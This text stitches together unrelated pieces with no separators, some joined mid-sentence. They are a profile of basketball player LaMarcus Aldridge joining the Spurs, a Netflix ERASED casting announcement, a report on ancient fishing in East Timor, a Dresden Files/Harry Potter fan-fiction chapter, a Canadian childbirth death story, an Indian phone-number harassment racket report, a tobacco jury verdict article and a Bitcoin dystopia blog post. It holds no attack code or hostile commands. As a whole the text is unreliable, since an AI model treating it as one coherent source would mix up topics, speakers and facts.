He’s the pride of Austin, Texas, where he led the Texas Longhorns to the NCAA Tournament’s Elite Eight. When he suffered a hip injury in his freshman season, he spent eight weeks working on his shot while sitting in a chair.
Now, Aldridge is the pride of San Antonio, Texas.
After nine seasons in Portland, Aldridge signed with the Spurs and is back in Texas.
“To be back in this state means a lot,” Aldridge said. “It’s my home. It means being close to my family and having my UT fans back behind me.”
Aldridge wore a No. 12 Spurs jersey for the first time on Friday as he posed for photos and met with media. He said his decision to return to Texas came down to family.
Both being close to his family in Texas and the family he saw in his new team.
“The Spurs really are a family,” he said. “They have a bunch of good guys that want to win, and the way they play is so unselfish. I’m looking forward to being involved in it. I feel that teams with players who are very close end up winning.”
A 6-foot-11, 260-pound forward, Aldridge averaged 23.4 points and 10.2 rebounds last season in Portland. He is a four-time All-Star and one of two players to rank in the Top 10 in scoring for each of the last four seasons. The other player is LeBron James.
“I’m excited to be part of this great organization, a part of the winning tradition,” Aldridge said. “I’m going to try to make history here.”
Aldridge’s journey to the NBA began with one long practice as a freshman at Seagoville High School, just 292 miles away from the AT&T Center.
His high school coach, Robert Allen, didn’t think Aldridge was putting in his full effort in his first few practices. So Allen took him to the school track.
“I ran him and ran him for 8.8 miles,” Allen said. “I told him we would do this every day he had a lazy practice, but to be honest, I felt bad about it. I thought he was going to transfer.”
The next morning, Aldridge was the first one at the gym.
Allen said he never saw anyone work harder than Aldridge after that. He would already be practicing in the morning before most players arrived, watch film at lunch, and after work, he would call Seagoville assistant Wendell Thornton to open the gym back up for a late-night workout.
Allen remembers one practice when a storm came through and knocked out the power. Aldridge opened all the doors so there was just enough light for him to keep practicing.
Aldridge averaged 28.9 points and 13.4 rebounds for his senior year and was named a McDonald’s All-American. His best game came in the state quarterfinals, scoring 39 points on 16 of 18 shooting, all while playing with a back injury.
But Aldridge rarely mentions the game because Seagoville lost in overtime.
“Nobody wants to win more than LaMarcus,” Allen said. “I’ve never seen a guy work so hard, and the way he looked when he walked off that floor, I said to myself that I don’t ever want to experience anything like that again. It just about killed me.”
Aldridge was one of the top-ranked recruits in the country, but chose to stay in Texas.
He stayed at UT for two years, as his freshman season was cut short because of a hip injury. Instead of resting while the injury healed, Aldridge and coach Rick Barnes had a plan. They had been watching film of fadeaway shots by two NBA big men, Rasheed Wallace and Tim Duncan, and were looking for a way for Aldridge to adopt a high-release jump shot. Aldridge spent two months shooting from a chair, and gradually backing up his shots to the 3-point line.
“He was so diligent about it,” said Barnes, who is now the head coach at the University of Tennessee. “He sat there for hours and hours shooting until he could hit everything from a chair.”
As a sophomore, Aldridge averaged 15.0 points, 9.2 rebounds and was named Big 12 Defensive Player of the Year.
Texas advanced to the 2006 Elite Eight, but lost in overtime to Louisiana State for a trip to the Final Four.
“To this day I’ve never coached a player that was more upset about losing a game than LaMarcus was,” Barnes said. “He’s so unselfish. He’s a worker who has earned everything he’s gotten, and all he wants to do is win.”
After Texas, it was on to the Pacific Northwest. But his home state never left his heart.
Aldridge was the No. 2 overall pick in the 2006 Draft, and put a Texas hat on Commissioner David Stern’s head after he walked up on stage.
Portland traded for Aldridge on draft night, and in nine seasons he became the Trail Blazers’ all-time leader in rebounds (5,434) and second in points (12,562).
An All-Star the past for the past four seasons, he said the decision to leave Portland was tough because he’s “loved the fans there for all nine years.”
Through a frenzied free agency, Aldridge said meeting with Spurs general manager R.C. Buford, coach Gregg Popovich and Spurs players sold him on the idea of joining the Spurs.
“He’s proud of his lineage in Texas and wanted to at least explore an opportunity to come back home,” Buford said. “We wanted to present an environment he was interested in joining. That doesn’t happen without Pop, Tim, Tony, Manu, Kawhi and Danny Green, though.”
Aldridge will play next to one of his role modes in Tim Duncan, who he called “the best power forward to play the game.” The Spur he’s most excited to play with is a former teammate, Patty Mills.
The pride of Seagoville and Austin is starting a new chapter in South Texas.
“Pop, R.C., all those guys made me feel comfortable,” Aldridge said. “They made me feel like this was home.”ERASED has also been adapted into an anime and a live-action movie.
Netflix announced that they are producing a Japanese live-action series adaptation of Boku dake ga Inai Machi (ERASED). The series will premier in 190 countries later this year during the Winter season.
Ten Shimoyama (SHINOBI – Heart Under Blade) will direct the series. ERASED will be filmed in 4K resolution in Tomakomai City, which is the location the manga is set in.
Netflix even announced some of the cast for the series:
Top row, left to right:
Reo Uchikawa as Satoru Fujinuma (child)
Mio Yūki as Airi Katagiri
Rinka Kakihara as Kayo Hinazuki (child)
Middle row, left to right:
Shigeyuki Totsugi as Gaku Yashiro
Yūki Furukawa as Satoru Fujinuma (adult)
Tomoka Kurotani as Sachiko Fujinuma
Bottom row, left to right:
Noriko Eguchi as Akemi Hinazuki
Jin Shirasu as Kenya Kobayashi (adult)
Hidekazu Mishima as Sawada
ERASED is a fantasy thriller created by Kei Sanbe. The series follows Satoru Fujinuma, a 29-year-old manga artist who possesses an uncontrollable ability that turns back time before a life-threatening accident occurs. When his mom is murdered, Satoru’s ability takes him 18 years in the past, just before a life altering event happened to him. He believes stopping the kidnapping and murder of classmate Kayo Hinazuki will right the timeline.
A-1 Pictures produced a 12 episode anime adaptation with an original ending during the Winter 2016 season. A live-action movie also opened in Japan on March 19, 2016.
Are you planning on watching Netflix’s adaptation of ERASED?(Image: Andre Seale/SplashdownDirect/Rex Features) (Image: Susan O'Conner) (Image: Susan O'Conner) (Image: Susan O'Conner) Advertisement
Tuna has been on the menu for a lot longer than we thought. Even 42,000 years ago, the deep-sea dweller wasn’t safe from fishing tackle according to new finds in southeast Asia.
We know that open water was no barrier to travel in the Pleistocene – humans must have crossed hundreds of kilometres of ocean to reach Australia by 50,000 years ago. But while humans had already been pulling shellfish out of the shallows for 100,000 years by that point, the first good evidence of fishing with hooks or spears comes much later – around 12,000 years ago.
The new finds blow that record out of the water. Sue O’Connor at the Australian National University in Canberra and colleagues dug through deposits at the Jerimalai shelter in East Timor. They discovered 38,000 fish bones from 23 different taxa, including tuna and parrotfish that are found only in deep water. Radiocarbon dating revealed the earliest bones were 42,000 years old.
Amidst the fishy debris was a broken fish hook fashioned from shell, which the team dated to between 16,000 and 23,000 years. “This is the earliest known example of a fish hook,” says O’Connor. Another hook, made around 11,000 years ago, was also found.
Sandra Bowdler at the University of Western Australia in Perth, who was not involved in the study, is convinced that those colonising East Timor 42,000 years ago had “fully formed” fishing skills. “By this time, modern humans are assumed to have the same mental capacities as today,” she says.
“There is nothing like this anywhere else in the world,” says Ian McNiven of Monash University in Melbourne, who was not a member of O’Connor’s team. “Maybe this is the crucible for fishing.”
East Timor hosts few large land animals, so early occupants would have needed highly developed fishing skills to survive. “Necessity is the mother of invention,” says O’Connor. “Apart from bats and rats, there’s nothing to eat here.”
But that doesn’t necessarily mean that fishing began in the region. At the time, sea-levels were around 60 to 70 metres lower than today. Any sites of former human occupation that were located on the Pleistocene shore – rather than in coastal cliffs like the Jerimalai shelter – are now submerged.
Broader patterns of human migration suggest that more evidence of fishing would be found through examining those submerged sites. After leaving Africa around 70,000 years ago, it took modern humans only 20,000 years to skirt around Asia and reach Australia. The journey over land into Europe, although much shorter, took 30,000 years. “Humans appeared to move quite quickly along the coasts,” says McNiven |
franchises; they belong to J.K. Rowling and Jim Butcher, respectively, among others.
Chapter 1
The Denarius
Wind whistled through the forest, branches barren of leaves. Flakes of white and grey fell to cover the ground, not snow but ash, and the trees' bark was scorched and cracked. A single road cut through the trees, perfectly straight and ten feet wide. Not a single creature stirred in this place; not a bird, not a squirrel, not a deer or wolf or rabbit. Desolation stretched as far as the eye could see.
Except for the lone figure walking down the road.
She was a young woman, blonde hair disheveled and her blue-green eyes shadowed in despair. Her gaze again rose from the ground immediately in front of her, but she still could not see where this path was leading her. Her bare feet trudged through the ankle-deep ash for a few steps more before she came to a halt. With a slow shake of her head, she did not sit so much as drop to the ground, then she pulled her knees to her chest.
What is even the point?, she asked herself, her hands clenched tight around the sackcloth tunic she wore. How long had she been wandering this plane of existence? She could not tell; her last memories before awakening in this place were strangely distorted, feeling both as if only a second had passed and at the same time were thousands of years ago. Is this my punishment for going against my nature? For listening to a mortal's words rather than my own wisdom?
A shadow of a greater and more terrible entity, that was all she was. She had been cleaved off for a single purpose: to make a certain wizard take up the coin her full self rested within. It was not the first time such a thing had happened to her or another of her compatriots over the millennia, but she was the only one she knew of who had ever failed in her task. Four years she had spent lurking around the edges of his mind and soul, two of which she had even been in communication with him, but for all her skill at manipulation, somehow that man had proven more stubborn than any other she had known. Instead, he insisted despite all evidence to the contrary that she was the malleable one, even going so far as to suggest that an existence such as she, an angel cast out of Heaven, could change her nature.
Yes, he was a foolishly stubborn mortal. Stubborn, reckless, sentimental, charismatic, noble… Much too noble. Was it any wonder she had been swayed by the words of one Harry Blackstone Copperfield Dresden?
She had believed him, and when Dresden stood alone in middle of the White Court, his foes supported by forces barred from that little corner of Creation, she put her will, her magic, her very essence between him and them. All she had went into breaking the curse of despair laid upon him, and when it came time to pay the cost of her interference, she gladly accepted it. She had died, given her life for another. It was an action she had not once considered since her and her allies' ill-fated Rebellion.
But I also thought what awaited me upon my destruction was oblivion. I am nothing more than a shade, and so there should be nothing afterward for me. Instead, I find myself here, wherever here is. Not Heaven, yet not Hell.
Her shadow leapt ahead of her as the world was bathed in golden light, and the soft rustle-clank of metal boots sinking into the ash made her drop her head. Perhaps this was Hell, after all, a wing that had been created especially for her torment.
The stranger walked slowly around her, and she had to raise her arm to shield her eyes from the piercing radiance. Her skin sizzled and stung as the holy light began to eat away at her. After a moment, the pain vanished, and she slowly looked under her hand to find that the armor had changed, appearing now as if it had been merely forged from sunlight rather than the star's fire itself. Her less-impaired vision also allowed her to see the long, thin dagger hanging from the stranger's belt, its keen tip gleaming.
She knew that blade, and the one who wielded it, too. Knew him too well for her tastes. The Spymaster. The Avenger. The one the Almighty sent when His Will required subtlety.
"Uriel."
"Lasciel," he replied. "He did not tell me whom I sought here, only that I would know her when I found her. I never would have expected that it would be you."
"That makes two of us," she said cautiously, her narrowed eyes still on his weapon. This conversation held less of her attention than did her memories of the last time she felt its cruel bite. "And in that vein, where is here?"
"If you do not know that, then it is not my place to tell you."
She barely withheld a sneer at his condescending tone. And that was the reason she did not like this particular archangel. Admittedly, she was not fond of any of them – none of the Fallen were – but she held Uriel in special contempt. At least Michael and Gabriel, for all their sanctimony, recalled that the Fallen were once counted among the Hosts' ranks and treated them as such. "Why are you even here, Uriel?"
He hummed for a moment. "I wonder…"
That pulled a laugh from her, the sound ugly and bitter but even more resigned. "So that is your game, then." She crossed her arms on her knees and rested her forehead upon them, her hair parting to reveal the back of her neck. "What are you waiting for, Assassin? Fulfill your duty."
Her eyes closed as she waited to feel the stiletto's sting. A holding cell, that was what this place was. A road to nowhere so that she might be kept in place until her execution could be completed, and nothing to distract her so she would not have one last bit of enjoyment before her end. How callous, and at the same time expected from her enemies.
She felt a wave of heat pass by her, and when she peered ever so cautiously over her arms, she discovered that Uriel had abandoned his nimbus of light and his armor. Instead he appeared as a human, a man with dark skin and golden hair, dressed in a plain white toga and sitting on a short wooden stool. Meeting her gaze, he tilted his head to the side. "Who are you?"
"Have the eternities finally caught up with you?" she taunted weakly. "You know exactly who I am. You said my name only seconds ago. I am Lasciel."
"No. No, you are not." He gave her an enigmatic smile and tapped his chin with the forefinger of one hand. "I know Lasciel. I have seen her soul. Yours is not the same."
"I… What?" She looked down at her arms and legs again, a terrifying suspicion coming together in her head. Had Dresden actually been right? In a tiny voice, she asked, "I truly have my own soul?"
"Yes. Oh, it is not new and pure; make no mistake about that. Each time you tempted Dresden to pick up Lasciel's coin and forfeit his own soul has stained it. Despite that, it does not carry the blight of all the sins the true Lasciel committed. And you had no idea." Uriel chuckled for a moment. "Determining your ultimate fate would be an interesting, if frustrating, exercise. I am quite glad that is not the task assigned to me."
His offhanded comment was like a bucket of cold water dumped on her head. If she truly had a soul, one all her own, her death meant a number of issues she would much rather not deal with right now. She latched onto the last thing he said to keep her mind off that predicament. "Then what is your task?"
"That depends. Tell me, Lasciel…" He trailed off and shook his head. "No, Dresden had the right of it. Lash, do you seek redemption?"
She blinked slowly, confusion written on her face. "I never would have expected you to ask me that question."
"Nor would I, if I may tell you. And yet, my question stands."
She bit her lip. Redemption? It was not something she had ever considered, not seriously. The Fallens' actions prevented them from ever attaining redemption, from ever returning to their places of glory. None had even thought to attempt it. And now this impossibility was being all but dumped in her lap? Her mind turned back to Uriel's comments about the polluted state of her soul, and the memory of her and her fellow Denarians' fearful flight from the Lake of Fire threatened to overwhelm her for a moment. "Y-Yes. Yes, I want redemption."
The angel before her nodded. "He thought you might." Then he raised the hand not resting on his chin, and a glint caught her eye. He held a coin, a shiny, silver coin, and she did not need to see the rough edges or the bust of Tiberius Caesar to recognize it.
It was a Roman denarius.
"There is a boy," Uriel said, breaking her out of her shock, "a child who was born with a heavy destiny indeed. A wizard chose a dark path and slaughtered his way through what he thought of as his world, and though he was stopped for a time, it is this boy's fate to stand against him once again and end his evil forever. Unfortunately, the arrogance and foolishness of others has placed him in a position where that is becoming less and less likely."
"Mortal mistakes, mortal problems," she commented with a raised eyebrow. "Humans do as they please, and if a few mortals want to make trouble for a boy, that is their concern. I fail to see how this is cause for divine intervention."
"Normally, it would not be. However, the wizard this boy is meant to face found certain books and learned how to distort his soul, knowledge that will permit his followers to resurrect him before he is meant to return and will also return intact the full scope of his abilities rather than rendering him much weakened. There is only one source a human could seek out to discover that particular bit of information."
"Us. The Fallen." Now things were making more sense. A fallen angel interfering in mortal affairs that flagrantly practically demanded a response from Heaven. The Denarians were cautious about how they worked for that very reason, foregoing the more expedient route of outright possessing the humans and instead offering power and advice until their hosts were so reliant on their guidance that the mortals would suborn their free wills to the Fallens' own, and even that had been sufficient to prompt the forging of the three Swords of the Cross to stymie them. Releasing the kind of information Uriel was talking about, though; that was the action of an individual who either had no long-term agenda or was paradoxically executing an incredibly convoluted plot. "Who was it? The one who had those books written?"
Uriel scowled. "I do not yet know." And if the look on his face was any indication, oh did that ever rankle! She almost wanted to track down the Fallen in question and congratulate him just for that. "Nevertheless, that is reason enough for the Host to intervene. Normally we would clear the way ever so slightly, give the lightest of assistances, for even in this our allowance to influence the mortals is limited.
"But now I find you here," he said, his damnable smile returning as he looked at her. "A third party, one with total autonomy. If all I do is send you to the boy so you might help him in our stead, I will be acting well within my boundaries and still have a little leeway left I might make use of later."
Surely she was imagining this. "Let me see if I have this right. You want to send me, a fallen angel, back to the world of the living. Me, who spent two thousand years seducing mortals into surrendering their wills to my own. And you want me to – what, teach this boy? guide him? – while I will be able to do whatever I wish. I could lead him astray from the purpose you have for him, and there would be nothing you could do to stop me." She shook her head and glared at him. "I am not a fool, Uriel; there is a catch here. What are you trying to hide?"
"You are still so quick to accuse others. I have not yet finished my proposal." She rolled her eyes. He was not finished, but only because she called him out on it. If mortals thought the faeries were skilled at lying with the truth, they should try arguing with angels. "Yes, you will have autonomy, but do not forget what the prize is. Redemption. This is your second chance, Lash," he said, walking the denarius along his knuckles in a show of affected nonchalance. "What you do with it is up to you, of course. You could ape Lasciel, manipulating the poor boy as if he were nothing more than a puppet, and in doing so continue blackening your soul. I think you can guess what would be the consequences of that course of action."
Despite the mild tone of his voice, the threat still made her flinch.
"Or you could be better than you were." The corner of Uriel's mouth twitched with a hidden smile. "Humans have an incredible capacity to rise above their base natures and improve themselves. It is truly a fascinating characteristic. You are not a human, Lash, but I dare say you are more human than you are angel. Can you be better than Lasciel?"
She looked away, unwilling to rise to his baiting. Mostly it was because she was not sure of the answer. "How was the wizard defeated before? It should not be that hard to emulate."
"Not hard at all. The boy's mother sacrificed herself for him, giving up her life so he might live. You already know about that firsthand." A cold shiver ran down her spine, and he continued in a gentler voice, "'Greater love has no one than this, that he lay down his life for his friends.' What you did for Dresden was humbling, a step even we would hesitate to undertake. All the same, do not feel you must repeat it. So long as you protect this boy and prepare him for his destiny, you will have a chance at the reward you so deeply desire.
"That is, if you are still interested."
Lash licked her lips, hesitating for a moment so she might fortify her shaken nerves. "I am. Interested, that is."
"Good. I will delay you no longer. Who knows? When you have completed your task, I might even be the one who relays His pronouncement." She glared at him, and he chuckled before tossing the coin to her. Her fingers closed around it, and she faded from that place.
Now alone, Uriel sighed before returning to his true form. "This is a most confusing journey You have placed them upon. Yet all the same, Your Will be done."
Harry looked down from the roof, his stomach queasy after… whatever that had been. His cousin Dudley and his gang had decided that this was a great time for another round of 'Harry Hunting', and with Malcolm to distract the teacher supervising their recess period, he knew he was in trouble. Normally he could get away and hide where they couldn't find him because he was faster than the other boys, but today his preferred route around the school was blocked with a dumpster that had been emptied and not put back in his place. He had spun around in fear, desperate to find some other path to safety.
And then he somehow appeared on top of the school's roof.
Uncle Vernon is not going to be happy, he thought, hastily jerking his head back when Dudley looked up. From the fat boy's shout, he had not been fast enough. Uncle Vernon and Aunt Petunia were always especially thorough with their punishments whenever he did something strange or 'freakish', and getting from the ground up to the roof of a two-story building in an instant was definitely that. Maybe I can say the wind just carried me up here?
He shook his head; that was probably the worst excuse he had come up with in a long while. The wind would have a hard time picking him up, no matter how thin he might be. Despite what his aunt and uncle told him, he wasn't stupid. Everyone else in his class had decent clothes, not too-large hand-me-downs and trainers held together with more tape than shoe. They had colorful lunch boxes filled with food every day. They did not have to worry about their stomachs growling in the middle of the lessons because they had not eaten the previous night. The question he had was always why it was him who was treated differently, and there were only a few possibilities. Phil had glasses, too, but they were shiny and new, not like his bulky plastic frames, so that wasn't why the Dursleys hated him. It wasn't because he was their nephew instead of their son, either; Michelle had lost her parents when she was a toddler, and her uncle absolutely doted on her.
So, if it wasn't his glasses and it wasn't because he was their nephew, it had to be the odd things that had a tendency to happen around him. A sweater shrinking in front of him when he refused to wear it, his teacher's wig changing color, burned or underdone food becoming perfect without him having to do anything. The roses Aunt Petunia had him weed around always looked better than all the neighbors' hedges, and once Dudley had broken a window and blamed it on him only for it to be fixed when he gave it another look. None of it was bad, really – even Mr. Pittman, after getting over the shock of his wig suddenly turning blue, had laughed about the whole thing and worn it like that for the rest of the week before getting a new one – but each time it happened he was guaranteed a week in his cupboard at the very least.
He wondered how bad it was going to be for appearing on the roof, but then he turned his thoughts away. He would find out soon enough.
And winter hols start tomorrow!, he realized. Dread collected in his stomach. The Christmas break lasted for two weeks, and that meant the Dursleys could lock him in for as long as they wanted without having to call the school and make an excuse for why he wasn't there. That was bad; they always fed him fewer meals when he was getting punished, and since Dudley had spotted him, he wouldn't have any time to hide bags of crisps or bottles of water in his bed before they put him in there. Maybe, if he was really quick, he could stuff a few things in his shirt before Dudley thought to tell them about—
A glint of light broke his train of thought, and he looked over to figure out what it was. There, in the middle of the roof, the sunlight was being reflected off a little bit of metal. He walked over, worry forgotten in favor of curiosity.
There was a coin stuck in the shingles. Glancing around to make sure none of the teachers had climbed up to scold him yet, he cautiously bent down and grabbed it. One tug had it free, and he examined his prize. Never had he seen a coin like this.
It definitely wasn't British, that much he knew. For one, it did not have the Queen's head on it but instead some man's, and the edges were notched and rounded rather than smooth and flat. He took another look at the back; while the writing was in the normal alphabet, none of the words were really words, just jumbles of letters.
Maybe it's foreign. His eyes lit up at the thought. He heard bits and pieces of the telly when Dudley watched it while he did his chores, so he knew there were people who payed lots of money for strange coins like this. Uncle Vernon always said anyone who collected lots of stuff from other countries was not properly British, but Harry didn't care. If he could get money for this coin, then he could buy food to keep in his cupboard, or better yet, in the old shed near the park. If it was there, he could sneak it in a little at a time without having to worry that Uncle Vernon would peek in his cupboard and find his stash.
Without warning, the lightning bolt scar on his forehead – the only evidence of the car crash that had killed his parents – suddenly burned like someone had shoved a hot wire into his skull. He shouted and dropped the coin, but as quickly as it had come the pain disappeared. Looking down to find where his newfound treasure had fallen, he sighed when he saw that it had broken into several pieces. It wasn't real, anyway, he told himself as the shattered pieces crumbled into dust that was quickly blown away. No one would leave a rare coin like that lying around on a rooftop. It was probably just some joke that someone put up here and forgot about.
"Harry Potter! Get down from there right this instant!"
Wincing at the shrill sound of Mrs. Nicholson's voice, he looked around to see if he could find stairs or a ladder. He was already in enough trouble. No reason to make it worse.
He had been right. Dudley spilled the beans about Harry's sudden disappearance and reappearance to Uncle Vernon and Aunt Petunia as soon as they walked through the door, and even if Dudley had not done that, the two adult Dursleys already knew. The principle had called Aunt Petunia while he and Dudley were still walking back from the bus stop to complain about him climbing on school buildings, and the man's insistence that they needed to do a better job of getting him under control had not helped matters.
Harry barely had a chance to take his ratty backpack off before Uncle Vernon had literally thrown him into the cupboard under the stairs and locked the door behind him.
That had been hours ago, and now the house was dark and silent. There was just enough of a crack where the door did not completely meet the frame that he could peek out and see the streetlamp through the kitchen window, but it was not wide enough for him to see the clock to find out what time it was.
His stomach rumbled again, and he wrapped his arms around his belly with a scowl. He knew from long experience that it would continue to growl at him until around dinnertime tomorrow, and if he were not fed by then, it would start trying to get his attention by cramping up. He also knew he would be lucky if the Dursleys gave him any food until the day after that.
Another growl from his midsection was echoed by one from his throat. Why did the Dursleys do this to him, just for stuff that happened around him? It wasn't his fault!
What was more, he knew the way they treated him was wrong. A nice policeman with a dog had come by his class last year and told them all that if any grown-up ever hit them or didn't let them eat for a day or touched them in bad places, they were supposed to dial 999, and while the Dursleys had never done the last, they had certainly done the other two. Harry had considered calling the police and telling them about what went on in Number Four, but no one else on Privet Drive had ever cared about what the Dursleys did to him. They were all perfectly fine thinking he was some sort of hooligan, even though no one had ever seen him do anything bad, and he wasn't sure if the police would be any different. It was the same in school: Dudley and his gang could do something wrong, and even if they were caught, they blamed Harry for it. It did not matter if he was at the other side of the room, he would still be the one punished for it.
He sighed, the anger that had flared up dying down again. Getting mad never did anything to help. No one cared. He was all alone, had been ever since his parents got themselves killed when they were drunk, and he did not know if they would have loved him even if they had lived. "Maybe it is all my fault," he muttered unhappily, a little bit of fear and doubt sliding down his throat to his stomach like a chip of ice. "Maybe they're mean to me and no one says anything about it because I really am a freak, just like they always say."
"I doubt that is the real reason, Harry."
He yelped in surprise at the voice that answered him and scurried away to slam his back into the wall. There, at the other end of his cupboard, sat a woman. That was the shorter end of his space, and he had no clue how she could possibly fit in there, especially since he had to look up to see her face. She was tall, with blonde hair hanging loose down to her shoulders, and her blue-green eyes held a faint spark of some emotion he couldn't identify. Her jumper was a light grey and looked incredibly soft, and she had well-worn jeans that made her look even more like she was just relaxing at home. His eyes went wide when he saw her feet; with her legs loosely crossed like that, he could see the polish on her toenails was not red like his aunt's, nor the blue and pink and yellow he saw on the fingers of the girls at school, but instead a glossy black. His aunt always said that only punks and harlots and freaks painted their fingers and toes like that.
But Aunt Petunia called him a freak, too. Was this woman like him?
Her lips twitched as she watched him watch her. How could he even see her, he wondered suddenly; the cupboard was dark, but somehow her end of the space was as bright as if the door were open and the sun was out. Examining her suspiciously, he realized that she was the most visible thing there while everything else looked like she was the one shining light on it. It might be faint, but she was glowing.
He took another, closer look at her face. Her hair was blonde, just like Aunt Petunia's, and though her eyes were a bluish-green while his aunt had washed-out green eyes, there was still some similarity in the shape. Add in the glow and the fact that she had appeared out of nowhere, and there was only one possibility that made any sense.
Clearing his throat, Harry asked, "A-Are you… my mum's ghost?"
If your plot hinges on a deus ex machina, at least make it literal.
This should be the only chapter that requires such a hefty dose of Dresden Files–flavored theology, particularly since it's the only time I plan for a DF character other than Lash to have an appearance, but it was necessary to explain just how Lash got from Harry Dresden's world to Harry Potter's.
Silently Watches out.One moment a young Saskatchewan family was ready to welcome a baby girl into their lives, then in a blink of an eye, everything changed.
On Friday, Sept. 23, Mark Burnett, 32, and his wife Megan, 33, went to the hospital in Nipawin, Sask., about 267 kilometres northeast of Saskatoon.
Everything was going fine with the delivery until suddenly, Megan slipped out of consciousness.
"From there they worked on Megan and they were able to give birth to the baby. Megan unfortunately did not make it," said Daniel Kasun, a close friend of the family.
He added the baby girl was airlifted to Royal University Hospital where she has since been recovering.
Hearing the news from his circle of friends, Kasun said he couldn't believe it.
"It was surreal to get news like that, and it immediately goes to 'okay, what type of supports can we give to both Mark and Mark and Megan's families and move forward from there', is really where my mind went," Kasun told CBC News.
Mark and Megan Burnett pictured here with their daughter Brynlee. (Jamie Angus/CBC) Kasun and Burnett were childhood friends growing up together and playing hockey in North Battleford. He said Megan and Mark married in 2011, describing the young couple as fun-loving and caring parents. Mark has been an RCMP officer for the past eight years, previously stationed in Loon Lake and Melfort, Sask.
While the family still isn't sure what happened to Megan, friends and family rallied around Mark, his newborn Autumn and his three-year-old daughter Brynlee, by setting up a GoFundMe page.
The goal was to raise $10,000 but support has gone well above the call. In just over two days, the page raised more than $60,000.
Kasun said the response took his breath away.
"It's incredible the way everyone has come together to support Mark and Megan's family. This really got put up just as a way for individuals to show support the family through this trying time," Kasun said.
"In talking with Mark we know he's feeling really supported and beyond grateful for the messages and all the support that's come through, beyond anything he would have imagined."
Kasun said he believes the money collected from the page will go towards covering any and all medical and travel expenses, as well as support for Mark in raising his two daughters.
Since Friday Mark has been beside his newborn daughter, hoping she pulls through. Mark also made changes to Autumn's name, something Kasun said he knows his wife would've appreciated.
"Mark decided to change her middle name to Desiree from Rose and that was Megan's middle name, as a way to commemorate her mother," Kasun said.Another women harrasment racket coming to light
Lucknow : In a new kind of racket, UP recharge outlets have been found selling numbers of girls and are being used to harass girls over the phone.
According to a report by Hindustan Times, the prices of mobile numbers are being segregated based on the looks of the girls.
The thriving racket came to light after numerous complaints were lodged on the women helpline number 1090, launched by Akhilesh Yadav. Nearly, 6 lakh complaints have been registered in last 4 years.
The report mentioned, A majority of the men – who seek to entice women with the preferred opening line ‘humain aapse dosti karna hai’ or ‘I want to make friendship with you’ – get the numbers from outlets where women go to recharge their mobile phones.
The unscrupulous rechargers save the numbers and then pass them on to those willing to pay. The number of someone considered ‘beautiful’ can command as much as Rs 500. The selling price for the number of an “ordinary looking girl” fetches Rs 50.A FLORIDA JURY has ordered tobacco company RJ Reynolds to pay $23.6 billion (€17. 4 billion) to the wife of a longtime smoker who died of lung cancer in a verdict seen as one of the largest for a single plaintiff in state history.
In addition to the punitive damages, the verdict also awarded more than $16 million (€11.8 million) in compensatory damages to the estate of Michael Johnson Senior.
During the four-week trial, lawyers for Johnson’s widow Cynthia Robinson argued that the RJ Reynolds Tobacco Company was negligent in informing consumers of the dangers of consuming tobacco and thus led to Johnson contracting lung cancer from smoking cigarettes.
They said Johnson had become “addicted” to cigarettes and failed multiple attempts to quit smoking.
The Escambia County jury returned its verdict after some 15 hours of deliberations.
“RJ Reynolds took a calculated risk by manufacturing cigarettes and selling them to consumers without properly informing them of the hazards,” Robinson’s lawyer Willie Gary said in a statement.
As a result of their negligence, my client’s husband suffered from lung cancer and eventually lost his life.
We hope that this verdict will send a message to RJ Reynolds and other big tobacco companies that will force them to stop putting the lives of innocent people in jeopardy.
RJ Reynolds plans to appeal the court decision and verdict, vice president and assistant general counsel J. Jeffery Raborn said.
The landmark award was “far beyond the realm of reasonableness and fairness,” he charged in a statement.
Reynolds is “confident that the court will follow the law and not allow this runaway verdict to stand,” Raborn added, calling the damages “grossly excessive and impermissible under state and constitutional law.”
Cancer, mergers and e-cigarettes
Smoking remains the leading preventable cause of premature death in the United States, killing nearly half a million Americans each year, health experts say.
The Department of Health estimates that 7,000 people die from smoking-related disease in Ireland every year.
Ninety per cent of lung cancers are caused by smoking.
The RJ Reynolds court verdict comes only days after its parent company, Reynolds American, announced it would acquire rival Lorillard to create a behemoth aimed at conquering the growing e-cigarette market.
Recent growth in e-cigarettes, which deliver nicotine in a vapour rather than smoke, comes as conventional cigarette sales drop amid tight consumer spending and health concerns.
The deal could remake the US tobacco market, one of the world’s most important with annual sales of more than $90 billion in 2013, according to research house Euromonitor.
With tobacco smoke claiming a life every six seconds, the tar-free, electronic alternative could help prevent much of the cancer, heart and lung disease and strokes caused by the toxins in traditional cigarettes, a group of 50 doctors and policy experts told the World Health Organisation in May.
In January the United States marked the 50th anniversary of the first surgeon general’s report warning that smoking caused lung cancer.
Since then, the habit has been attributed to 13 kinds of cancer and a host of other diseases, including liver and colon cancer, blindness and diabetes.
- © AFP, 2014The following dystopian vision of the future was just shared with my by a friend:
…“What is a Citadel?” you might wonder. Well, by the time Bitcoin became worth 1,000 dollar, services began to emerge for the “Bitcoin rich” to protect themselves as well as their wealth. It started with expensive safes, then began to include bodyguards, and today, “earlies” (our term for early adapters), as well as those rich whose wealth survived the “transition” live in isolated gated cities called Citadels, where most work is automated. Most such Citadels are born out of the fortification used to protect places where Bitcoin mining machines are located. The company known as ASICminer to you is known to me as a city where Mr. Friedman rules as a king. In my world, soon to be your world, most governments no longer exist, as Bitcoin transactions are done anonymously and thus most governments can enforce no taxation on their citizens. Most of the success of Bitcoin is due to the fact that Bitcoin turned out to be an effective method to hide your wealth from the government. Whereas people entering “rogue states” like Luxemberg, Monaco and Liechtenstein were followed by unmanned drones to ensure that governments know who is hiding wealth, no such option was available to stop people from hiding their money in Bitcoin.
Source: http://www.reddit.com/r/Bitcoin/comments/1lfobc/i_am_a_timet…re_to_beg/
You should read the rest of the story. I think it goes pretty thoroughly into a scenario that isn’t discussed enough.
The “Bitcoin Circle Jerk” on reddit.com/r/bitcoin and bitcointalk.org often goes like this like: “imagine how goddamned rich we’ll all be when 1 bitcoin is worth 100, 000 dollars”!
The ugly flip side however, of us all being fabulously rich because we bought a bitcoin once, is that a lot of our friends and family get hideously poor.
Technological disruption always has winners and losers. Bitcoin is a big disruptoin, it has the potential to do to money what the internet did to music, possibly to a much further extent.
Although it’s a very important conversation to have, extrapolations like the story quoted above almost always fail to understand how other factors will mix in. While many foresaw some of the negative consequences of globalization, few people would have foreseen the emergence of the craft movement; including local food, makerspaces, DIY everything, etc.
In the bitcoin community, I’m heartened by the emergence of a culture of generosity. It shows up in the willingness that bitcoin companies have for helping one another. It also shows up in projects like Sean’s Outpost and in the tipping culture created by the reddit bitcoin tip bot and the bitcoin party bot.
